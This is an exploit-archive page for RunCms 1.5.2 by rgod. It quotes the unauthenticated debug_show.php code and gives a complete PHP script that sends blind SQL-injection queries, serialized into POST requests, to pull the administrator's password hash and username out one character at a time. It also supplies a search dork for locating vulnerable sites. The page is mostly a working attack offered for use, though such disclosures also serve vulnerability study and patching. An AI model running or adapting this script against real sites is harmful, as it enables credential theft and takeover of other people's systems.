Exploit: RunCms <= 1.5.2 debug_show.php sql injection ( Ascii Version )

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RunCms <= 1.5.2 debug_show.php sql injection

Published
Credit
Risk
2007.05.12
rgod
Medium
CWE
CVE
Local
Remote
N/A
CVE-2007-2539
CVE-2007-2538
No
Yes

Plain text version

<?php
print_r('
------------------------------------------------------------------------
--
RunCms <= 1.5.2 /class/debug/debug_show.php sql injection / credentials
disclosure exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork: "Runcms Copyright" "2002 - 2007" +"page created"
------------------------------------------------------------------------
---
');

/*
software site: http://www.runcms.org/modules/news/

vulnerable code in /class/debug/debug_show.php:
<?php
...

include_once("../../mainfile.php");
include_once("../../header.php");

switch($_POST['debug_show']) {
case "show_files":
show_files($_POST['loaded_files']);
break;

case "show_queries":
show_queries($_POST['executed_queries'], $_POST['sorted']);
break;
}

include_once("../../footer.php");
?>

no authentication is performed to run show_files() and show_queries()
functions, look at this now in /class/debug/debug.php:

...
function show_queries($executed_queries, $sorted=0)
{
global $db;

$executed_queries = unserialize(urldecode($executed_queries));

if ($sorted == 1)
{
sort($executed_queries);
$is_sorted = _DBG_SORTEDR;
}
else
{
array_reverse($executed_queries);
$is_sorted = _DBG_NSORTEDR;
}

OpenTable();

$fulldebug = "
<h4>($is_sorted) "._DBG_QEXECED.": ".count($executed_queries)."</h4>
<table width='100%' cellpadding='3' cellspacing='1'>";

$size = count($executed_queries);

for ($i=0; $i<$size; $i++)
{
$stime = get_micro_time();

$query = $db->query("EXPLAIN ".$executed_queries[$i]."");
$querytime = (get_micro_time() - $stime);
$totaltime += $querytime;

$fulldebug .= "<tr>
<td nowrap='nowrap' class='bg2'><b>"._DBG_QUERY.": ".($i+1)."</b></td>
<td colspan='7' class='bg3'>$executed_queries[$i]</td>
</tr><tr>
<td nowrap='nowrap' class='bg2'><b>"._DBG_TIME.":</b></td>
<td colspan='7' class='bg3'>".round($querytime, 4)." "._DBG_SECONDS."</td>
</tr><tr>
<td nowrap='nowrap' class='bg2'><b>"._DBG_TABLE.":</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_TYPE.":</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_POSSKEYS.":</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_KEY.":</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_KEYLEN.":</b></td>
<td nowrap='nowrap' class='bg2'><b>ref:</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_ROWS.":</b></td>
<td nowrap='nowrap' class='bg2'><b>"._DBG_EXTRA.":</b></td>
</tr>";

while ($result = $db->fetch_array($query))
{
$fulldebug .= " <tr>
<td class='bg3' nowrap='nowrap' {$result['table']} </td>
<td class='bg3' nowrap='nowrap' {$result['type']} </td>
<td class='bg3'>{$result['possible_keys']} </td>
<td class='bg3' nowrap='nowrap' {$result['key']} </td>
<td class='bg3' nowrap='nowrap' {$result['key_len']} </td>
<td class='bg3' nowrap='nowrap' {$result['ref']} </td>
<td class='bg3' nowrap='nowrap' {$result['rows']} </td>
<td class='bg3'>{$result['Extra']} </td>
</tr>";
}
$fulldebug .= "<tr>
<td colspan='8' class='bg1'>"._DBG_CUMULATED.":".round($totaltime, 4)."
"._DBG_SECONDS."<hr noshade></td>
</tr>";
}

$fulldebug .= "</table>";

echo $fulldebug;
CloseTable();
}
...

we have a nice kind of sql injection here!

also show_files function can be used to check the existence of certain files
and retrieve the filesize or if it has been modified and so on...

*/

if ($argc<3) {
print_r('
------------------------------------------------------------------------
---
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to runcms

Options:
-p[port]: specify a port other than 80
-P[ip:port]: "" a proxy
-T[prefix] "" a table prefix (default: runcms)
Example:
php '.$argv[0].' localhost /runcms/ -P1.1.1.1:80
php '.$argv[0].' localhost / -Trcms -p81
------------------------------------------------------------------------
---
');
die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function send($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
$parts[1]=(int)$parts[1];
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="runcms";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
echo "md5 hash -> ";
$j=1;$password="";
while (!strstr($password,chr(0))){
for ($i=0; $i<=255; $i++){
if (in_array($i,$md5s)){
$executed_queries=array();
//original query: EXPLAIN ...
$executed_queries[0]="SELECT null FROM ".$prefix."_users WHERE
1=(IF((ASCII(SUBSTRING(pass,".$j.",1))=".$i."),1,999999)) AND rank=7 LIMIT 1";
$sql=urlencode(serialize($executed_queries));
$sql=str_replace("%22","%2522",$sql);//you know, urldecode()...
$data ="debug_show=show_queries";
$data.="&executed_queries=".$sql;
$data.="&sorted=1";
$packet ="POST ".$p."class/debug/debug_show.php HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Pragma: no-cachern";
$packet.="Connection: Closernrn";
$packet.=$data;
send($packet);
if (eregi("_users </td>",$html)){$password.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
echo "n";

echo "admin username -> ";
$j=1;$admin_user="";
while (!strstr($admin_user,chr(0))){
for ($i=0; $i<=255; $i++){
$executed_queries=array();
$executed_queries[0]="SELECT null FROM ".$prefix."_users WHERE
1=(IF((ASCII(SUBSTRING(uname,".$j.",1))=".$i."),1,999999)) AND rank=7 LIMIT 1";
$sql=urlencode(serialize($executed_queries));
$sql=str_replace("%22","%2522",$sql);
$data ="debug_show=show_queries";
$data.="&executed_queries=".$sql;
$data.="&sorted=1";
$packet ="POST ".$p."class/debug/debug_show.php HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Pragma: no-cachern";
$packet.="Connection: Closernrn";
$packet.=$data;
send($packet);
if (eregi("_users </td>",$html)){$admin_user.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {die("Exploit failed...");}
$j++;
}
?>

original url: http://retrogod.altervista.org/runcms_152_sql.html

See this note in TXT Version

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